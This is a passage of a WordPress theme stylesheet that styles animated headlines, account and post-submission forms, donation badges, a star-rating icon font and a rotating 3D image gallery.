	background-clip: text;
	-webkit-background-clip: text
}
.penci-animated-headline .penci-animated-text .dynamic-wrapper.style-gradient .dynamic-text .dynamic-text-letter {
	background: var(--pcaccent-cl-dk);
	background: -webkit-gradient(linear, left top, left bottom, from(var(--pcaccent-cl)), to(var(--pcaccent-cl-dk)));
	background: linear-gradient(180deg, var(--pcaccent-cl) 0, var(--pcaccent-cl-dk) 100%);
	-moz-text-fill-color: transparent;
	-o-text-fill-color: transparent;
	-webkit-text-fill-color: transparent;
	background-clip: text;
	-webkit-background-clip: text
}
.penci-animated-headline .penci-animated-text .dynamic-text {
	display: inline-block;
	position: relative;
	top: 0;
	left: 0;
	z-index: 1;
	font-size: 43px;
	font-weight: 500;
	line-height: 1.2
}
.penci-animated-headline .penci-animated-text svg {
	position: absolute;
	left: 0;
	overflow: visible
}
.penci-animated-headline .penci-animated-text svg path {
	fill: none;
	stroke-dasharray: 1500;
	-webkit-animation: pcani-dash 10s infinite;
	animation: pcani-dash 10s infinite
}
.penci-animated-headline .penci-animated-text svg path.style-color {
	stroke: var(--pcaccent-cl)
}
.penci-animated-headline .penci-animated-text svg path:nth-of-type(2) {
	-webkit-animation-delay: .3s;
	animation-delay: .3s
}
.penci-animated-headline .penci-animated-text svg linearGradient stop:nth-of-type(1) {
	stop-color: var(--pcaccent-cl)
}
.penci-animated-headline .penci-animated-text svg linearGradient stop:nth-of-type(2) {
	stop-color: var(--pcaccent-cl-dk)
}
.penci-animated-headline[data-shape=underline-2] .penci-animated-text svg {
	top: auto;
	bottom: -50%;
	width: 100%;
	height: 100%
}
.penci-animated-headline[data-shape=underline-1] .penci-animated-text svg {
	top: auto;
	bottom: -50%;
	width: 100%;
	height: 100%
}
.penci-animated-headline[data-shape=heart] .penci-animated-text svg {
	top: -30px;
	bottom: -20px;
	width: calc(100% + 80px);
	height: calc(100% + 80px);
	left: -40px;
	right: -40px
}
.penci-animated-headline[data-shape=click] .penci-animated-text svg {
	top: auto;
	bottom: -10px;
	width: 50px;
	height: 50px;
	left: auto;
	right: -20px
}
.penci-animated-headline[data-shape=sparkle] .penci-animated-text svg {
	top: -10px;
	bottom: auto;
	width: 30px;
	height: 30px;
	left: auto;
	right: 0
}
.penci-animated-headline[data-shape=bolt] .penci-animated-text svg,
.penci-animated-headline[data-shape=check] .penci-animated-text svg,
.penci-animated-headline[data-shape=pan] .penci-animated-text svg {
	top: -20px;
	bottom: -20px;
	width: 100%;
	height: calc(100% + 40px);
	left: 0;
	right: 0
}
.penci-animated-headline[data-shape=line] .penci-animated-text svg {
	top: 15px;
	bottom: 0;
	width: calc(100% + 40px);
	height: calc(100%);
	left: -10px;
	right: -40px
}
.penci-animated-headline[data-shape=line-2] .penci-animated-text svg {
	top: -5px;
	bottom: 0;
	width: calc(100% + 40px);
	height: calc(100% + 20px);
	left: -20px;
	right: -20px
}
.penci-animated-headline[data-shape=line-1] .penci-animated-text svg {
	top: -5px;
	bottom: 0;
	width: calc(100% + 40px);
	height: calc(100% + 20px);
	left: -20px;
	right: -20px
}
.penci-animated-headline[data-shape=strikethrough] .penci-animated-text svg {
	top: 50%;
	width: 100%;
	height: 100%
}
.penci-animated-headline[data-shape="x"] .penci-animated-text svg,
.penci-animated-headline[data-shape=diagonal] .penci-animated-text svg,
.penci-animated-headline[data-shape=double] .penci-animated-text svg {
	top: 0;
	width: 100%;
	height: 100%
}
.penci-animated-headline[data-shape=curly] .penci-animated-text svg,
.penci-animated-headline[data-shape=double-underline] .penci-animated-text svg,
.penci-animated-headline[data-shape=underline-zigzag] .penci-animated-text svg,
.penci-animated-headline[data-shape=underline] .penci-animated-text svg {
	top: 90%;
	width: 100%;
	height: 100%
}
.penci-animated-headline[data-shape=circle] .penci-animated-text svg {
	top: 0;
	width: calc(100% + 20px);
	height: calc(100% + 20px);
	-webkit-transform: translate(-10px, -10px);
	transform: translate(-10px, -10px)
}
.penci-animated-headline[data-style=rotating] .penci-animated-text .dynamic-text:not(.show-text) {
	visibility: hidden;
	opacity: 0;
	display: none
}
.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper:after {
	content: "";
	position: absolute;
	left: auto;
	right: 0;
	top: 50%;
	-webkit-transform: translateY(-50%);
	transform: translateY(-50%);
	height: 90%;
	width: 1px;
	background-color: var(--pctext-cl)
}
.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.cursor-blink:after {
	-webkit-animation: pcani-pulse 1s infinite;
	animation: pcani-pulse 1s infinite
}
.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete {
	background: var(--pcaccent-cl)
}
.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete.style-gradient .dynamic-text {
	color: var(--pctext-cl);
	background: 0 0;
	background-clip: border-box;
	-webkit-background-clip: border-box;
	-moz-text-fill-color: unset;
	-o-text-fill-color: unset;
	-webkit-text-fill-color: unset
}
.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete.style-gradient .dynamic-text .dynamic-text-letter {
	background: 0 0;
	background-clip: border-box;
	-webkit-background-clip: border-box;
	-webkit-background-clip: border-box;
	-moz-text-fill-color: unset;
	-o-text-fill-color: unset;
	-webkit-text-fill-color: unset
}
.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete .dynamic-text .dynamic-text-letter {
	color: var(--pctext-cl)
}
.penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-text-letter:not(.show-letter) {
	display: none
}
.penci-animated-headline[data-style=rotating][data-rotate=swirl] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=swirl] .penci-animated-text .dynamic-text-letter {
	display: inline-block;
	-webkit-transform-style: preserve-3d;
	transform-style: preserve-3d;
	-webkit-transform: translateZ(-20px) rotateX(90deg);
	transform: translateZ(-20px) rotateX(90deg);
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=swirl] .penci-animated-text .dynamic-text-letter.show-letter {
	-webkit-animation: pcani-swirl-in .4s forwards;
	animation: pcani-swirl-in .4s forwards
}
.penci-animated-headline[data-style=rotating][data-rotate=blinds] {
	-webkit-transition: width .3s ease;
	transition: width .3s ease
}
.penci-animated-headline[data-style=rotating][data-rotate=blinds] .penci-animated-text .dynamic-text-letter {
	-webkit-transform: rotateY(180deg);
	transform: rotateY(180deg);
	display: inline-block;
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=blinds] .penci-animated-text .dynamic-text-letter.show-letter {
	-webkit-animation: pcani-blinds-in .6s forwards;
	animation: pcani-blinds-in .6s forwards
}
.penci-animated-headline[data-style=rotating][data-rotate=wave] {
	-webkit-transition: width .3s ease;
	transition: width .3s ease
}
.penci-animated-headline[data-style=rotating][data-rotate=wave] .penci-animated-text .dynamic-text-letter {
	-webkit-transform: scale(0);
	transform: scale(0);
	display: inline-block;
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=wave] .penci-animated-text .dynamic-text-letter.show-letter {
	-webkit-animation: pcani-wave-up .3s forwards;
	animation: pcani-wave-up .3s forwards
}
.penci-animated-headline[data-style=rotating][data-rotate=flip] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=flip] .penci-animated-text .dynamic-text {
	-webkit-transform-origin: 50% 100%;
	transform-origin: 50% 100%;
	-webkit-transform: rotateX(180deg);
	transform: rotateX(180deg);
	position: relative
}
.penci-animated-headline[data-style=rotating][data-rotate=flip] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-transform: rotateX(0);
	transform: rotateX(0);
	-webkit-animation: pcani-flip-in 1.2s;
	animation: pcani-flip-in 1.2s
}
.penci-animated-headline[data-style=rotating][data-rotate=flip] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-transform: rotateX(180deg);
	transform: rotateX(180deg);
	-webkit-animation: pcani-flip-out 1.2s;
	animation: pcani-flip-out 1.2s
}
.penci-animated-headline[data-style=rotating][data-rotate=drop-in] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	-webkit-perspective: 300px;
	perspective: 300px;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=drop-in] .penci-animated-text .dynamic-text {
	position: relative
}
.penci-animated-headline[data-style=rotating][data-rotate=drop-in] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-animation: pcani-drop-in-in .6s;
	animation: pcani-drop-in-in .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=drop-in] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-animation: pcani-drop-in-out .6s;
	animation: pcani-drop-in-out .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-left] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-left] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-animation: pcani-slide-left-in .6s;
	animation: pcani-slide-left-in .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-left] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-animation: pcani-slide-left-out .6s;
	animation: pcani-slide-left-out .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-right] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-right] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-animation: pcani-slide-right-in .6s;
	animation: pcani-slide-right-in .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-right] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-animation: pcani-slide-right-out .6s;
	animation: pcani-slide-right-out .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-up] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-up] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-animation: pcani-slide-up-in .6s;
	animation: pcani-slide-up-in .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-up] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-animation: pcani-slide-up-out .6s;
	animation: pcani-slide-up-out .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-down] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-down] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-animation: pcani-slide-down-in .6s;
	animation: pcani-slide-down-in .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=slide-down] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-animation: pcani-slide-down-out .6s;
	animation: pcani-slide-down-out .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=bounce] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=bounce] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-animation: pcani-bounce-in .6s;
	animation: pcani-bounce-in .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=bounce] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-animation: pcani-bounce-out .6s;
	animation: pcani-bounce-out .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=swing] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=swing] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-animation: pcani-swing-in .6s;
	animation: pcani-swing-in .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=swing] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-animation: pcani-swing-out .6s;
	animation: pcani-swing-out .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=rubber-band] .penci-animated-text .dynamic-wrapper {
	-webkit-transition: width .3s ease;
	transition: width .3s ease;
	overflow: hidden
}
.penci-animated-headline[data-style=rotating][data-rotate=rubber-band] .penci-animated-text .dynamic-text.show-text {
	position: relative;
	white-space: nowrap;
	-webkit-animation: pcani-rubber-band-in .6s;
	animation: pcani-rubber-band-in .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=rubber-band] .penci-animated-text .dynamic-text:not(.show-text) {
	display: inline-block;
	position: absolute;
	visibility: visible;
	-webkit-animation: pcani-rubber-band-out .6s;
	animation: pcani-rubber-band-out .6s
}
.penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper {
	overflow: hidden;
	text-align: left
}
.penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after {
	content: "";
	position: absolute;
	left: auto;
	right: 0;
	top: 0;
	height: 100%;
	width: 2px;
	background-color: var(--pctext-cl)
}
.penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-text.show-text {
	white-space: nowrap
}
.penci-adblocker-popup-container {
	max-width: 550px;
	padding: 60px;
	background: var(--pcbg-cl);
	margin: 0 auto;
	text-align: center
}
.penci-adblocker-popup-container .penci-adblocker-adblock-icon {
	font-size: 50px;
	color: red
}
.penci-adblocker-popup-container h2 {
	margin: 15px 0;
	font-size: 24px
}
.penci-adblocker-popup-container .penci-adblock-message {
	font-size: 16px;
	line-height: 1.4
}
.penci-adblocker-popup-container .mfp-close {
	position: static;
	width: auto;
	font-size: 14px;
	padding: 0;
	margin: 15px auto 0;
	height: auto;
	line-height: unset
}
.pcac_page_container {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row
}
.pcac_page_container.full {
	display: block
}
.pcac_page_container .pcac_page_left {
	min-width: 270px;
	margin-right: 60px
}
body.rtl .pcac_page_container .pcac_page_left {
	margin-right: 0;
	margin-left: 60px
}
.pcac_page_container .pcac_author_info {
	border: 1px solid var(--pcborder-cl);
	padding: 30px;
	text-align: center
}
.pcac_page_container .pcac_author_info .avatar {
	border-radius: 50%
}
.pcac_page_container .pcac_account_nav,
.pcac_page_container .pcac_author_content {
	margin-top: 15px
}
.pcac_page_container .pcac_account_nav {
	border-top: 1px solid var(--pcborder-cl);
	padding-top: 15px
}
.pcac_page_container .pcac_account_nav li {
	margin: 0 0 10px
}
.pcac_page_container .pcac_account_nav li a {
	color: var(--pcheading-cl)
}
.pcac_page_container .pcac_account_nav li a:hover {
	color: var(--pcaccent-cl)
}
.pcac_page_container .pcac_account_nav li.active a {
	color: var(--pcaccent-cl);
	font-weight: 700
}
.pcac_page_container .pcac_page_right {
	width: calc(100% - 360px)
}
.pcac_page_container .pcac_account_title {
	font-size: 22px;
	margin: 0 0 30px;
	padding: 0 0 30px;
	border-bottom: 1px solid var(--pcborder-cl)
}
.pcac_page_container .form-group {
	margin-bottom: 30px
}
.pcac_page_container .form-group > label {
	display: inline-block;
	margin: 0 0 15px;
	font-size: 14px;
	font-weight: 700
}
.pcac_page_container .form-group .required {
	color: red
}
.pcac_page_container .form-group input,
.pcac_page_container .form-group select,
.penci-sidebar-content .form-group input,
.penci-sidebar-content .form-group select,
.penci_post_list_filter select {
	display: block;
	border: 1px solid var(--pcborder-cl);
	padding: 0 10px;
	line-height: 40px;
	transition: .25s ease;
	box-shadow: none;
	outline: 0;
	background: #fff
}
.penci_post_list_filter select {
	padding: 0 20px
}
.pcac_page_container .form-group select,
.penci-sidebar-content .form-group select,
.penci_post_list_filter select {
	height: 40px;
	background: 0 0
}
.pcac_page_container .form-group input:not([type=submit]):focus,.pcac_page_container .form-group select:focus,.pcac_page_container .form-group textarea:focus {
	border-color: #666;
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, .025)
}
.pcac_page_container .form-group input[type=submit],
.penci-sidebar-content .form-group input[type=submit] {
	background: var(--pcaccent-cl);
	color: #fff;
	font-weight: 700;
	font-size: 14px;
	cursor: pointer;
	border: 0;
	outline: 0;
	padding: 0 20px;
	width: auto
}
.pcac_page_container .form-group input[type=submit]:hover,
.penci-sidebar-content .form-group input[type=submit]:hover {
	opacity: .7
}
.pcac_page_container.full .form-group input {
	width: 100%
}
.pcac_page_container.full .title-field input {
	font-size: 18px;
	font-weight: 700
}
.pcac_page_container .row {
	margin-right: -15px;
	margin-left: -15px
}
.pcac_page_container .pccol_1,
.pcac_page_container .pccol_2 {
	width: 50%;
	float: left;
	position: relative;
	min-height: 1px;
	padding-right: 15px;
	padding-left: 15px
}
body.rtl .pcac_page_container .pccol_1,
body.rtl .pcac_page_container .pccol_2 {
	float: right
}
.pcac_page_container .pccol_1 {
	width: 100%
}
.pcac_page_container .pccol_1 h3 {
	border-bottom: 1px solid var(--pcborder-cl);
	padding-bottom: 30px;
	margin-bottom: 30px
}
.pcac_page_container .pccol_1 input,
.pcac_page_container .pccol_1 select,
.pcac_page_container .pccol_2 input,
.pcac_page_container .pccol_2 select {
	width: 100%
}
.pcac_page_container .alert {
	padding-left: 15px;
	margin-bottom: 15px;
	line-height: 40px;
	font-size: 14px;
	text-align: center;
	font-weight: 500
}
.pcac_page_container .alert-error {
	background: red;
	color: #fff
}
.pcac_page_container .alert-success {
	background: #dcffb4;
	color: #595959
}
.pcac_page_container .alert-compatibility {
	background: #fff5f6;
	position: absolute;
	top: 0;
	opacity: 0;
	visibility: hidden;
	width: auto;
	border-radius: 0;
	text-align: center
}
.penci-sidebar-content .form-group:not(.submit-field):not(.format-field) {
	border: 1px solid var(--pcborder-cl);
	padding: 30px;
	margin-bottom: 30px;
	background-color: #f9f9f9
}
.penci-sidebar-content .form-group.format-field .form-input-wrapper {
	border: 1px solid var(--pcborder-cl);
	padding: 30px;
	margin-bottom: 30px;
	background-color: #f9f9f9
}
.penci-sidebar-content .form-group label {
	display: block;
	font-weight: 700;
	margin-bottom: 10px
}
.penci-sidebar-content .form-group input,
.penci-sidebar-content .form-group select {
	width: 100%
}
.penci-post-tablist {
	list-style: none
}
.penci-post-tablist li {
	display: inline-block
}
.penci-post-tablist li a {
	display: inline-block;
	padding: 10px 15px;
	border: 1px solid var(--pcborder-cl);
	border-bottom: 0;
	color: var(--pcheading-cl);
	position: relative;
	top: 1px;
	font-weight: 700;
	font-size: 14px
}
.penci-post-tablist li a.active {
	background-color: #f9f9f9;
	color: var(--pcaccent-cl)
}
.pcft-posteditor .format-field .form-input-wrapper input {
	display: none
}
.pcft-posteditor .penci_upload_wrapper:not(.active) {
	display: none
}
.penci_post_list_meta {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between;
	border-bottom: 1px solid var(--pcborder-cl);
	padding-bottom: 30px;
	margin-bottom: 30px;
	align-items: center
}
.pcac_page_container .penci-pagination {
	margin-top: 30px
}
.frontend-submit-button {
	margin: 30px -25px -25px
}
.frontend-submit-button .button {
	display: block;
	padding: 15px 20px;
	background: var(--pcaccent-cl);
	font-weight: 700;
	color: #fff;
	transition: .2s
}
.frontend-submit-button .button:hover {
	opacity: .7
}
@media only screen and (max-width:767px) {
	.pcac_page_container .pcac_page_left,
	.pcac_page_container .pcac_page_right {
		width: 100%
	}
	.pcac_page_container .pcac_page_left {
		margin-right: 0;
		margin-bottom: 30px
	}
}
.pcac_page_container .upload_preview_container {
	margin: 0 0 30px;
	position: relative;
	max-width: 80px
}
.pcac_page_container .upload_preview_container .remove {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	z-index: 9;
	cursor: pointer;
	bottom: 0;
	display: flex;
	justify-content: center;
	align-items: center
}
.pcac_page_container .upload_preview_container img {
	border-radius: 50%;
	max-height: 80px;
	width: auto
}
.pcac_page_container .penci-upload-img-btn {
	display: inline-block;
	padding: 0 10px;
	line-height: 30px;
	background-color: var(--pcheading-cl);
	color: var(--pcbg-cl);
	cursor: pointer;
	transition: .3s all
}
.pcac_page_container .penci-upload-img-btn:hover {
	opacity: .8
}
.penci_post_status.Pending {
	color: #c09853;
	font-weight: 700
}
.penci_post_status.Published {
	color: var(--pcaccent-cl);
	font-weight: 700
}
body.rtl .penci_account_posts .pcsl-inner .pcsl-content {
	padding: 0 var(--pcsl-between)
}
.penci_account_posts .pcsl-inner .sl-date {
	display: inline-block
}
body.pc-has-sorter .archive-box,
.archive-box.pc-has-sorter {
	display: flex;
	justify-content: space-between;
	align-items: center;
	margin-left: auto;
	margin-right: auto;
	max-width: 100%;
	align-items: start;
}
.penci_gsr_wrapper .gsst_b {
	padding: 0 5px
}
.penci_gsr_wrapper table.gsc-search-box td {
	vertical-align: middle
}
.penci_gsr_wrapper .gsc-input {
	padding: 0;
	line-height: 31px
}
.penci_gsr_wrapper .gsc-search-button-v2 {
	height: 42px;
	line-height: 42px;
	padding: 6px 27px
}
.penci_gsr_wrapper .gsc-search-button-v2 svg {
	width: 15px;
	height: 15px
}
.penci_gsr_wrapper .gsib_a {
	padding: 5px 15px 4px 15px
}
.penci_gsr_wrapper .gscb_a {
	line-height: 36px
}
.penci-patreon-badge-wrap {
	text-align: center
}
.penci-patreon-badge-wrap .button {
	display: block;
	background: #ff424d;
	font-weight: 700;
	font-size: 14px;
	border-radius: 100px;
	padding: 12px 5px;
	margin-top: 20px;
	text-decoration: none
}
.penci-patreon-badge-wrap .button:hover {
	background: #ff424d;
	text-decoration: none;
	color: #000
}
.penci-patreon-badge-wrap svg {
	height: 5rem;
	width: 5rem;
	display: inline-block;
	margin: 10px auto
}
.penci-patreon-badge-wrap svg [data-color="1"] {
	fill: #ff424d
}
.penci-patreon-badge-wrap svg [data-color="2"] {
	fill: #241e12
}
.widget .penci-buymeacoffee-badge-wrap {
	text-align: center
}
.widget .penci-buymeacoffee-badge-wrap a.button {
	display: block;
	background: #fd0;
	font-weight: 700;
	font-size: 14px;
	color: #000;
	border-radius: 100px;
	padding: 12px 5px;
	margin-top: 20px;
	text-decoration: none;
	transition: .3s all ease-in-out
}
.widget .penci-buymeacoffee-badge-wrap a.button:hover {
	background: #000;
	color: #fd0;
	text-decoration: none
}
.widget .penci-buymeacoffee-badge-wrap svg {
	height: 6rem;
	width: 6rem;
	display: inline-block;
	margin: 10px auto
}
.cancel-off-png,
.cancel-on-png,
.star-half-png,
.star-off-png,
.star-on-png {
	font-size: 1.8em
}
@font-face {
	font-family: raty;
	font-style: normal;
	font-weight: 400;
	src: url(fonts/raty.eot);
	src: url(fonts/raty.eot?#iefix) format("embedded-opentype");
	src: url(fonts/raty.svg#raty) format("svg");
	src: url(fonts/raty.ttf) format("truetype");
	src: url(fonts/raty.woff) format("woff")
}
.cancel-off-png,
.cancel-on-png,
.star-half-png,
.star-off-png,
.star-on-png {
	-moz-osx-font-smoothing: grayscale;
	-webkit-font-smoothing: antialiased;
	font-family: raty;
	font-style: normal;
	font-variant: normal;
	font-weight: 400;
	line-height: 1;
	speak: none;
	text-transform: none
}
.cancel-on-png:before {
	content: "\e600"
}
.cancel-off-png:before {
	content: "\e601"
}
.star-on-png:before {
	content: "\f005"
}
.star-off-png:before {
	content: "\f006"
}
.star-half-png:before {
	content: "\f123"
}
.thecomment .comment-text .penci-review-author span.author,
.thecomment .comment-text .penci-review-author span.author a,
.thecomment .comment-text .penci-review-author span.date {
	display: inline-block;
	margin: 0;
	text-transform: none
}
.thecomment .comment-text .penci-review-author span.author {
	margin-right: 5px;
	font-size: 14px
}
.thecomment .comment-text .penci-review-author span.author a {
	font-size: inherit
}
.penci-review-summary .pccm_rating_title,
.penci-review-summary .review_rated {
	display: inline-block;
	margin: 0
}
.penci-review-summary .review_rated {
	font-size: 7px;
	color: #ffb900;
	margin-right: 5px
}
.pcgl-thumb-slider:not(.slick-initialized) {
	margin-left: -5px;
	margin-right: -5px
}
.pcgl-thumb-slider .pcgl-thumb-item {
	padding: 0 5px;
	cursor: pointer;
	width: 100px
}
.pcgl-thumb-slider .swiper-wrapper {
	justify-content: center
}
.pcgl-thumb-slider:not(.slick-initialized) {
	white-space: nowrap;
	overflow: hidden
}
.pcgl-thumb-slider:not(.slick-initialized) .pcgl-thumb-item {
	opacity: 0;
	transition: .3s all ease-in-out
}
.pcgl-thumb-slider[data-cols="2"]:not(.slick-initialized) .pcgl-thumb-item {
	width: 50%
}
.pcgl-thumb-slider[data-cols="4"]:not(.slick-initialized) .pcgl-thumb-item {
	width: 25%
}
.pcgl-thumb-slider[data-cols="5"]:not(.slick-initialized) .pcgl-thumb-item {
	width: 20%
}
.pcgl-thumb-slider[data-cols="6"]:not(.slick-initialized) .pcgl-thumb-item {
	width: calc(100% / 6)
}
.penci-slick-carousel.pcthumb-s-msl:not(.slick-initialized) figure:not(:first-child) {
	display: none
}
.penci-slick-carousel.pcthumb-s-msl figure {
	margin: 0 auto;
	vertical-align: top;
	padding: 15px 15px 0
}
.penci-image-gallery-thumbnail-slider {
	background: #111;
	overflow: hidden
}
.elementor-widget-penci-image-gallery .penci-image-gallery-thumbnail-slider {
	padding: 0
}
.pcgl-thumb-slider.swiper {
	padding: 10px;
	border-bottom: 1px solid #222
}
.pcgl-thumb-slider .penci-image-holder {
	outline: solid 3px rgba(255, 255, 255, .5);
	outline-offset: -3px;
	min-height: 80px
}
.pcgl-thumb-slider .swiper-slide-thumb-active .penci-image-holder {
	outline: solid 3px #fff
}
.penci-image-gallery-3d {
	--item: 180px;
	--pd: 30px;
	margin: 0 auto;
	padding-top: var(--pd);
	height: calc(var(--item) * 2 + var(--pd));
}
@media only screen and (max-width: 767px){
	.penci-image-gallery-3d {
		--item: 140px;
		--pd: 15px;
	}
}
.inner-gallery-3d-container {
	margin: auto;
	width: var(--item);
	perspective: var(--pcctain);
	position: relative;
	padding-top: var(--pd);
}
.pcgallery-3d-wrap {
	width: 100%;
	position: absolute;
	float: right;
	animation: pcgallery-3d 15s infinite linear;
	transform-style: preserve-3d;
}
.pcgallery-3d-wrap:hover {
	animation-play-state: paused;
	cursor: pointer;
}
.pcgallery-3d-wrap .penci-gallery-ite {
	width: 100%;
	height: var(--item);
	border: 1px solid var(--pcborder-cl);
	overflow: hidden;
	position: absolute;
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(1) {
	transform: rotateY(0deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(2) {
	transform: rotateY(40deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(3) {
	transform: rotateY(80deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(4) {
	transform: rotateY(120deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(5) {
	transform: rotateY(160deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(6) {
	transform: rotateY(200deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(7) {
	transform: rotateY(240deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(8) {
	transform: rotateY(280deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(9) {
	transform: rotateY(320deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite:nth-child(10) {
	transform: rotateY(360deg) translateZ(300px);
}
.pcgallery-3d-wrap .penci-gallery-ite {
	position: absolute;
	box-shadow: 0px 13px 20px 3px rgba(55,55,55,0.1);
	border-radius: 1px;
	opacity: 1;
}
.pcgallery-3d-wrap .penci-gallery-ite img {
	image-rendering: auto;
	transition: all 300ms;
	width: 100%;
	height: 100%;
}
.pcgallery-3d-wrap .penci-gallery-ite img:hover {
	transform: scale(1.2);
	transition: all 300ms;
}
@keyframes pcgallery-3d {
	from {
		transform: rotateY(0deg);
	}
	to {
		transform: rotateY(360deg);
	}
}
.penci-slick-carousel-top-nav {
	color: #fff;
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: center;
	padding: 15px 10px 0;
	align-items: center
}
.pcslick-title-area h5 {
	color: #fff;
	margin: 0
}
.pcslick-nav button {
	padding: 0 5px;
	margin: 0;
	font-size: 16px;
	background: 0 0;
	vertical-align: middle;
	line-height: 1
}
.pcslick-nav-area {
	display: flex;
	flex-direction: row-reverse;
	align-items: center
}
.pcslick-nav {
	margin: 0 0 0 10px;
	line-height: 0
}
.slider-num {
	font-size: 13px;
	font-weight: 700
}
.elementor-widget-penci-image-gallery .penci-post-gallery-container.thumbnail-slider {
	margin-bottom: 0
}
.author-url .avatar,
.grid-post-box-meta img.avatar,
.penci-grid li .item .author-url .avatar,
.penci-masonry .item-masonry a .author-url .avatar {
	vertical-align: middle;
	border-radius: var(--pcava_bdr);
	display: inline-block;
